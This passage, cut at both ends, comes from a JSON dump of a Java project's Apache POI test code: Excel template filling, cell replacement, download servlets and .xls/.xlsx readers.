BufferedOutputStream(\n\t\t\t\t\tresponse.getOutputStream());\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel;charset=gb2312\");\n\t\t\ttoClient.write(buffer);\n\t\t\ttoClient.flush();\n\t\t\ttoClient.close();\n\t\t} catch (IOException ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/replace/TestExcelReplace.java",
    "content": "package com.jun.plugin.poi.replace;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n//参考地址：http://yaoh6688.iteye.com/blog/1152273\npublic class TestExcelReplace {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\tpublic static void main(String[] args) {\n\t\tList<ExcelReplaceDataVO> datas = new ArrayList<ExcelReplaceDataVO>();\n\t\t// 找到第14行第2列的company，用\"XXX有限公司\"替换掉company\n\t\tExcelReplaceDataVO vo1 = new ExcelReplaceDataVO();\n\t\tvo1.setRow(13);\n\t\tvo1.setColumn(1);\n\t\tvo1.setKey(\"company\");\n\t\tvo1.setValue(\"XXX有限公司\");\n\t\t// 找到第5行第2列的content，用\"aa替换的内容aa\"替换掉content\n\t\tExcelReplaceDataVO vo2 = new ExcelReplaceDataVO();\n\t\tvo2.setRow(4);\n\t\tvo2.setColumn(1);\n\t\tvo2.setKey(\"content\");\n\t\tvo2.setValue(\"aa替换的内容aa\");\n\t\tdatas.add(vo1);\n\t\tdatas.add(vo2);\n\t\t// d:\\\\template.xls为Excel模板文件，d:\\\\test.xls为程序根据Excel模板文件生成的新文件\n\t\tExcelUtil.replaceModel(datas, \"d:\\\\replaceTemplate.xls\", \"d:\\\\eplace.xls\");\n\t\t// String folderPath = \"/home\" + FILE_SEPARATOR;\n\t\t// ExcelUtil.replaceModel(datas, folderPath + \"template.xls\", folderPath\n\t\t// + \"test.xls\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/template/ExcelTemplate.java",
    "content": "package com.jun.plugin.poi.template;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.RichTextString;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.usermodel.WorkbookFactory;\n\n/**\n * 用于处理Excel写操作\n */\npublic class ExcelTemplate {\n\t// 开始位置\n\tpublic final static String TEMPLATE_NAME = \"datastart\";\n\t// 样式,用于要标志自定义的样式的列.\n\tpublic final static String STYLE = \"style\";\n\t// 默认样式\n\tpublic final static String DEFALULT_STYLE = \"defaultStyle\";\n\t// 序号,确定Excel是否需要样式.\n\tpublic final static String SERNUMS = \"sernums\";\n\tprivate int initRowIndex; // 初始行\n\tprivate int initColIndex; // 初始列\n\tprivate int curRowIndex; // 当前行\n\tprivate int curColIndex; // 当前列\n\tprivate int lastRowInex; // 最后一行\n\tprivate float defaultHeight; // 默认行高\n\tprivate int serColIndex; // 序号行.\n\tprivate Workbook workbook = null;\n\tprivate Sheet sheet = null;\n\tprivate Row curRow = null; // 当前行\n\t// 样式\n\tprivate Map<Integer, CellStyle> styles = null;\n\t// 默认样式\n\tprivate CellStyle defaultStyle = null;\n\t// 使用单例\n\tprivate static ExcelTemplate excel = new ExcelTemplate();\n\n\tprivate ExcelTemplate() {\n\t}\n\n\tpublic static ExcelTemplate getInstance() {\n\t\treturn excel;\n\t}\n\n\t/**\n\t * 读取模板(从classpath中)\n\t * \n\t * @param path\n\t *            模板路径\n\t * @return ExcelTemplate\n\t */\n\tpublic ExcelTemplate readTemplateClassPath(String calsspath) {\n\t\ttry {\n\t\t\tworkbook = WorkbookFactory.create(ExcelTemplate.class\n\t\t\t\t\t.getResourceAsStream(calsspath));\n\t\t\tinitTemplate();\n\t\t} catch (InvalidFormatException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"读取模板格式有错!请检查.\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"读取模板文件不存在!请检查.\");\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * 读取模板(从指定路径)\n\t * \n\t * @param path\n\t *            模板路径\n\t * @return ExcelTemplate\n\t */\n\tpublic ExcelTemplate readTemplatePath(String path) {\n\t\ttry {\n\t\t\tworkbook = WorkbookFactory.create(new File(path));\n\t\t\tinitTemplate();\n\t\t} catch (InvalidFormatException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"读取模板格式有错!请检查.\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"读取模板文件不存在!请检查.\");\n\t\t}\n\t\treturn this;\n\t}\n\n\t/**\n\t * 创建新的一行\n\t */\n\tpublic void creatNewRow() {\n\t\t// curRowIndex != initRowIndxe : 当前行本身是存在的,所以下移多余.\n\t\tif (lastRowInex > curRowIndex && curRowIndex != initRowIndex) {\n\t\t\tsheet.shiftRows(curRowIndex, lastRowInex, 1, true, true); // 有的模板最后可能是日期或者姓名之类的非数据.所以要移动行.\n\t\t\tlastRowInex++;\n\t\t}\n\t\tcurRow = sheet.createRow(curRowIndex);\n\t\tcurRow.setHeightInPoints(defaultHeight);\n\t\tcurRowIndex++;\n\t\tcurColIndex = initColIndex;\n\t}\n\n\tpublic void createNewCol(String value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\tpublic void createNewCol(double value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\tpublic void createNewCol(boolean value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\tpublic void createNewCol(Date value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\tpublic void createNewCol(Calendar value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\tpublic void createNewCol(RichTextString value) {\n\t\tCell cell = curRow.createCell(curColIndex);\n\t\tsetStyle(cell);\n\t\tcell.setCellValue(value);\n\t\tcurColIndex++;\n\t}\n\n\t/**\n\t * 根据#xxx替换模板中的其它样式.\n\t * \n\t * @param datas\n\t *            要替换的数据\n\t */\n\tpublic void replaceFind(Map<String, String> datas) {\n\t\tif (datas == null)\n\t\t\treturn;\n\t\tfor (Row row : sheet) {\n\t\t\tfor (Cell cell : row) {\n\t\t\t\tif (cell.getCellType() != Cell.CELL_TYPE_STRING)\n\t\t\t\t\tcontinue;\n\t\t\t\tString value = cell.getStringCellValue().trim();\n\t\t\t\tif (value.startsWith(\"#\")) {\n\t\t\t\t\tif (datas.containsKey(value.substring(1))) {\n\t\t\t\t\t\tcell.setCellValue(datas.get(value.substring(1)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 插入序号\n\t */\n\tpublic void insertSer() {\n\t\tint index = 1;\n\t\tRow row = null;\n\t\tCell cell = null;\n\t\tfor (int i = initRowIndex; i < curRowIndex; i++) {\n\t\t\trow = sheet.getRow(i);\n\t\t\tcell = row.createCell(serColIndex);\n\t\t\tsetStyle(cell);\n\t\t\tcell.setCellValue(index++);\n\t\t}\n\t}\n\n\t/**\n\t * 输出文件,根据路径\n\t * \n\t * @param path\n\t *            路径\n\t */\n\tpublic void writeToFile(String path) {\n\t\tFileOutputStream fos = null;\n\t\ttry {\n\t\t\tfos = new FileOutputStream(path);\n\t\t\tworkbook.write(fos);\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"找不到文件!请检查.\");\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"文件输出异常!请检查.\");\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (fos != null) {\n\t\t\t\t\tfos.close();\n\t\t\t\t\tfos = null;\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 输出文件,根据流输出\n\t * \n\t * @param stream\n\t *            OutputStream\n\t */\n\tpublic void writeToStream(OutputStream stream) {\n\t\ttry {\n\t\t\tworkbook.write(stream);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t\tthrow new RuntimeException(\"文件输出异常!请检查.\");\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (stream != null) {\n\t\t\t\t\tstream.close();\n\t\t\t\t\tstream = null;\n\t\t\t\t}\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 初始化模板\n\t */\n\tprivate void initTemplate() {\n\t\tsheet = workbook.getSheetAt(0);\n\t\tstyles = new HashMap<Integer, CellStyle>();\n\t\tinitConfigData();\n\t\tlastRowInex = sheet.getLastRowNum();\n\t}\n\n\t/**\n\t * defaultStyles:获得默认样式(如果默认样式没有则使用开始样式) styles:获取自定义样式\n\t * \n\t */\n\tprivate void initConfigData() {\n\t\tfor (Row row : sheet) {\n\t\t\tfor (Cell cell : row) {\n\t\t\t\tif (cell.getCellType() != Cell.CELL_TYPE_STRING)\n\t\t\t\t\tcontinue;\n\t\t\t\tString value = cell.getStringCellValue().trim();\n\t\t\t\t// 获取开始位置,初始化数据\n\t\t\t\tif (TEMPLATE_NAME.equals(value)) {\n\t\t\t\t\tinitRowIndex = cell.getRowIndex();\n\t\t\t\t\tinitColIndex = cell.getColumnIndex();\n\t\t\t\t\tcurRowIndex = initRowIndex;\n\t\t\t\t\tcurColIndex = initColIndex;\n\t\t\t\t\tdefaultHeight = row.getHeightInPoints();\n\t\t\t\t\tif (defaultStyle == null)\n\t\t\t\t\t\tdefaultStyle = cell.getCellStyle();\n\t\t\t\t}\n\t\t\t\t// 获取defaultStyles,无论如何,当有设置defaultStyles都设置为defaultStyles\n\t\t\t\tif (DEFALULT_STYLE.equals(value))\n\t\t\t\t\tdefaultStyle = cell.getCellStyle();\n\t\t\t\t// 获取自定义样式的列\n\t\t\t\tif (STYLE.equals(value)) {\n\t\t\t\t\tstyles.put(cell.getColumnIndex(), cell.getCellStyle());\n\t\t\t\t}\n\t\t\t\t// 获取样式所在的列\n\t\t\t\tif (SERNUMS.equals(value))\n\t\t\t\t\tserColIndex = cell.getColumnIndex();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 设置样式\n\t * \n\t * @param cell\n\t *            Cell\n\t */\n\tprivate void setStyle(Cell cell) {\n\t\t// 当前列存在自定义样式时使用自定义样式,否则使用默认样式.\n\t\tif (styles.containsKey(curColIndex)) {\n\t\t\tcell.setCellStyle(styles.get(curColIndex));\n\t\t} else {\n\t\t\tcell.setCellStyle(defaultStyle);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/template/TemplateServlet.java",
    "content": "package com.jun.plugin.poi.template;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class TemplateServlet extends HttpServlet {\n\tpublic static final String FILE_SEPARATOR = System.getProperties()\n\t\t\t.getProperty(\"file.separator\");\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\tString docsPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"docs\");\n\t\tString templateName = \"template.xls\";// Excel模版\n\t\tString templatePath = docsPath + FILE_SEPARATOR + templateName;\n\t\tString fileName = \"testTemplate.xls\";// 导出Excel文件名\n\t\tString filePath = docsPath + FILE_SEPARATOR + fileName;\n\t\tExcelTemplate excel = ExcelTemplate.getInstance().readTemplatePath(\n\t\t\t\ttemplatePath);\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"aaa\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"bbb\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"ccc\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"ddd\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"eee\");\n\t\texcel.createNewCol(\"555\");\n\t\texcel.createNewCol(\"555\");\n\t\texcel.createNewCol(\"555\");\n\t\tMap<String, String> datas = new HashMap<String, String>();\n\t\tdatas.put(\"title\", \"拉斯维加斯\");\n\t\tdatas.put(\"date\", new Date().toString());\n\t\tdatas.put(\"department\", \"百合科技人事部\");\n\t\texcel.replaceFind(datas);\n\t\texcel.insertSer();\n\t\texcel.writeToFile(filePath);\n\t\tdownload(filePath, response);\n\t}\n\n\tprivate void download(String path, HttpServletResponse response) {\n\t\ttry {\n\t\t\t// path是指欲下载的文件的路径。\n\t\t\tFile file = new File(path);\n\t\t\t// 取得文件名。\n\t\t\tString filename = file.getName();\n\t\t\t// 以流的形式下载文件。\n\t\t\tInputStream fis = new BufferedInputStream(new FileInputStream(path));\n\t\t\tbyte[] buffer = new byte[fis.available()];\n\t\t\tfis.read(buffer);\n\t\t\tfis.close();\n\t\t\t// 清空response\n\t\t\tresponse.reset();\n\t\t\t// 设置response的Header\n\t\t\tresponse.addHeader(\"Content-Disposition\", \"attachment;filename=\"\n\t\t\t\t\t+ new String(filename.getBytes()));\n\t\t\tresponse.addHeader(\"Content-Length\", \"\" + file.length());\n\t\t\tOutputStream toClient = new BufferedOutputStream(\n\t\t\t\t\tresponse.getOutputStream());\n\t\t\tresponse.setContentType(\"application/vnd.ms-excel;charset=gb2312\");\n\t\t\ttoClient.write(buffer);\n\t\t\ttoClient.flush();\n\t\t\ttoClient.close();\n\t\t} catch (IOException ex) {\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/template/TestTemplate.java",
    "content": "package com.jun.plugin.poi.template;\n\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\n\n//参考地址：http://mylfd.iteye.com/blog/1982101\npublic class TestTemplate {\n\tpublic static void main(String[] args) {\n\t\tExcelTemplate excel = ExcelTemplate.getInstance().readTemplatePath(\n\t\t\t\t\"D:/template.xls\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"aaa\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.createNewCol(\"111\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"bbb\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.createNewCol(\"222\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"ccc\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.createNewCol(\"333\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"ddd\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.createNewCol(\"444\");\n\t\texcel.creatNewRow();\n\t\texcel.createNewCol(\"eee\");\n\t\texcel.createNewCol(\"555\");\n\t\texcel.createNewCol(\"555\");\n\t\texcel.createNewCol(\"555\");\n\t\tMap<String, String> datas = new HashMap<String, String>();\n\t\tdatas.put(\"title\", \"拉斯维加斯\");\n\t\tdatas.put(\"date\", new Date().toString());\n\t\tdatas.put(\"department\", \"百合科技人事部\");\n\t\texcel.replaceFind(datas);\n\t\texcel.insertSer();\n\t\texcel.writeToFile(\"D:/poi.xls\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/ReadExcel.java",
    "content": "package com.jun.plugin.poi.test;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.text.DecimalFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFDateUtil;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFCell;\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\npublic class ReadExcel {\n\t/**\n\t * 对外提供读取excel 的方法\n\t * */\n\tpublic static List<List<Object>> readExcel(File file) throws IOException {\n\t\tString fileName = file.getName();\n\t\tString extension = fileName.lastIndexOf(\".\") == -1 ? \"\" : fileName\n\t\t\t\t.substring(fileName.lastIndexOf(\".\") + 1);\n\t\tif (\"xls\".equals(extension)) {\n\t\t\treturn read2003Excel(file);\n\t\t} else if (\"xlsx\".equals(extension)) {\n\t\t\treturn read2007Excel(file);\n\t\t} else {\n\t\t\tthrow new IOException(\"不支持的文件类型\");\n\t\t}\n\t}\n\n\t/**\n\t * 读取 office 2003 excel\n\t * \n\t * @throws IOException\n\t * @throws FileNotFoundException\n\t */\n\tprivate static List<List<Object>> read2003Excel(File file)\n\t\t\tthrows IOException {\n\t\tList<List<Object>> list = new LinkedList<List<Object>>();\n\t\tHSSFWorkbook hwb = new HSSFWorkbook(new FileInputStream(file));\n\t\tHSSFSheet sheet = hwb.getSheetAt(0);\n\t\tObject value = null;\n\t\tHSSFRow row = null;\n\t\tHSSFCell cell = null;\n\t\tint counter = 0;\n\t\tfor (int i = sheet.getFirstRowNum(); counter < sheet\n\t\t\t\t.getPhysicalNumberOfRows(); i++) {\n\t\t\trow = sheet.getRow(i);\n\t\t\tif (row == null) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t\tList<Object> linked = new LinkedList<Object>();\n\t\t\tfor (int j = row.getFirstCellNum(); j <= row.getLastCellNum(); j++) {\n\t\t\t\tcell = row.getCell(j);\n\t\t\t\tif (cell == null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tDecimalFormat df = new DecimalFormat(\"0\");// 格式化 number String\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 字符\n\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(\n\t\t\t\t\t\t\"yyyy-MM-dd HH:mm:ss\");// 格式化日期字符串\n\t\t\t\tDecimalFormat nf = new DecimalFormat(\"0.00\");// 格式化数字\n\t\t\t\tswitch (cell.getCellType()) {\n\t\t\t\tcase XSSFCell.CELL_TYPE_STRING:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is String type\");\n\t\t\t\t\tvalue = cell.getStringCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_NUMERIC:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j\n\t\t\t\t\t\t\t+ \" 列 is Number type ; DateFormt:\"\n\t\t\t\t\t\t\t+ cell.getCellStyle().getDataFormatString());\n\t\t\t\t\tif (\"@\".equals(cell.getCellStyle().getDataFormatString())) {\n\t\t\t\t\t\tvalue = df.format(cell.getNumericCellValue());\n\t\t\t\t\t} else if (\"General\".equals(cell.getCellStyle()\n\t\t\t\t\t\t\t.getDataFormatString())) {\n\t\t\t\t\t\tvalue = nf.format(cell.getNumericCellValue());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = sdf.format(HSSFDateUtil.getJavaDate(cell\n\t\t\t\t\t\t\t\t.getNumericCellValue()));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BOOLEAN:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Boolean type\");\n\t\t\t\t\tvalue = cell.getBooleanCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BLANK:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Blank type\");\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is default type\");\n\t\t\t\t\tvalue = cell.toString();\n\t\t\t\t}\n\t\t\t\tif (value == null || \"\".equals(value)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlinked.add(value);\n\t\t\t}\n\t\t\tlist.add(linked);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 读取Office 2007 excel\n\t * */\n\tprivate static List<List<Object>> read2007Excel(File file)\n\t\t\tthrows IOException {\n\t\tList<List<Object>> list = new LinkedList<List<Object>>();\n\t\t// 构造 XSSFWorkbook 对象，strPath 传入文件路径\n\t\tXSSFWorkbook xwb = new XSSFWorkbook(new FileInputStream(file));\n\t\t// 读取第一章表格内容\n\t\tXSSFSheet sheet = xwb.getSheetAt(0);\n\t\tObject value = null;\n\t\tXSSFRow row = null;\n\t\tXSSFCell cell = null;\n\t\tint counter = 0;\n\t\tfor (int i = sheet.getFirstRowNum(); counter < sheet\n\t\t\t\t.getPhysicalNumberOfRows(); i++) {\n\t\t\trow = sheet.getRow(i);\n\t\t\tif (row == null) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t\tList<Object> linked = new LinkedList<Object>();\n\t\t\tfor (int j = row.getFirstCellNum(); j <= row.getLastCellNum(); j++) {\n\t\t\t\tcell = row.getCell(j);\n\t\t\t\tif (cell == null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tDecimalFormat df = new DecimalFormat(\"0\");// 格式化 number String\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 字符\n\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(\n\t\t\t\t\t\t\"yyyy-MM-dd HH:mm:ss\");// 格式化日期字符串\n\t\t\t\tDecimalFormat nf = new DecimalFormat(\"0.00\");// 格式化数字\n\t\t\t\tswitch (cell.getCellType()) {\n\t\t\t\tcase XSSFCell.CELL_TYPE_STRING:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is String type\");\n\t\t\t\t\tvalue = cell.getStringCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_NUMERIC:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j\n\t\t\t\t\t\t\t+ \" 列 is Number type ; DateFormt:\"\n\t\t\t\t\t\t\t+ cell.getCellStyle().getDataFormatString());\n\t\t\t\t\tif (\"@\".equals(cell.getCellStyle().getDataFormatString())) {\n\t\t\t\t\t\tvalue = df.format(cell.getNumericCellValue());\n\t\t\t\t\t} else if (\"General\".equals(cell.getCellStyle()\n\t\t\t\t\t\t\t.getDataFormatString())) {\n\t\t\t\t\t\tvalue = nf.format(cell.getNumericCellValue());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = sdf.format(HSSFDateUtil.getJavaDate(cell\n\t\t\t\t\t\t\t\t.getNumericCellValue()));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BOOLEAN:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Boolean type\");\n\t\t\t\t\tvalue = cell.getBooleanCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BLANK:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Blank type\");\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is default type\");\n\t\t\t\t\tvalue = cell.toString();\n\t\t\t\t}\n\t\t\t\tif (value == null || \"\".equals(value)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlinked.add(value);\n\t\t\t}\n\t\t\tlist.add(linked);\n\t\t}\n\t\treturn list;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\treadExcel(new File(\"D:\\\\test.xlsx\"));\n\t\t\t// readExcel(new File(\"D:\\\\test.xls\"));\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/ReadExcelServlet.java",
    "content": "package com.jun.plugin.poi.test;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.text.DecimalFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport javax.servlet.RequestDispatcher;\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFDateUtil;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFCell;\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\nimport com.jun.plugin.poi.util.EPlatform;\nimport com.jun.plugin.poi.util.OSinfo;\n\npublic class ReadExcelServlet extends HttpServlet {\n\t/**\n\t * 对外提供读取excel 的方法\n\t * */\n\tpublic List<List<Object>> readExcel(File file) throws IOException {\n\t\tString fileName = file.getName();\n\t\tString extension = fileName.lastIndexOf(\".\") == -1 ? \"\" : fileName\n\t\t\t\t.substring(fileName.lastIndexOf(\".\") + 1);\n\t\tif (\"xls\".equals(extension)) {\n\t\t\treturn read2003Excel(file);\n\t\t} else if (\"xlsx\".equals(extension)) {\n\t\t\treturn read2007Excel(file);\n\t\t} else {\n\t\t\tthrow new IOException(\"不支持的文件类型\");\n\t\t}\n\t}\n\n\t/**\n\t * 读取 office 2003 excel\n\t * \n\t * @throws IOException\n\t * @throws FileNotFoundException\n\t */\n\tprivate List<List<Object>> read2003Excel(File file) throws IOException {\n\t\tList<List<Object>> list = new LinkedList<List<Object>>();\n\t\tHSSFWorkbook hwb = new HSSFWorkbook(new FileInputStream(file));\n\t\tHSSFSheet sheet = hwb.getSheetAt(0);\n\t\tObject value = null;\n\t\tHSSFRow row = null;\n\t\tHSSFCell cell = null;\n\t\tint counter = 0;\n\t\tfor (int i = sheet.getFirstRowNum(); counter < sheet\n\t\t\t\t.getPhysicalNumberOfRows(); i++) {\n\t\t\trow = sheet.getRow(i);\n\t\t\tif (row == null) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t\tList<Object> linked = new LinkedList<Object>();\n\t\t\tfor (int j = row.getFirstCellNum(); j <= row.getLastCellNum(); j++) {\n\t\t\t\tcell = row.getCell(j);\n\t\t\t\tif (cell == null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tDecimalFormat df = new DecimalFormat(\"0\");// 格式化 number String\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 字符\n\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(\n\t\t\t\t\t\t\"yyyy-MM-dd HH:mm:ss\");// 格式化日期字符串\n\t\t\t\tDecimalFormat nf = new DecimalFormat(\"0.00\");// 格式化数字\n\t\t\t\tswitch (cell.getCellType()) {\n\t\t\t\tcase XSSFCell.CELL_TYPE_STRING:\n\t\t\t\t\tvalue = cell.getStringCellValue();\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is String type\"\n\t\t\t\t\t\t\t+ \"\\tValue:\" + 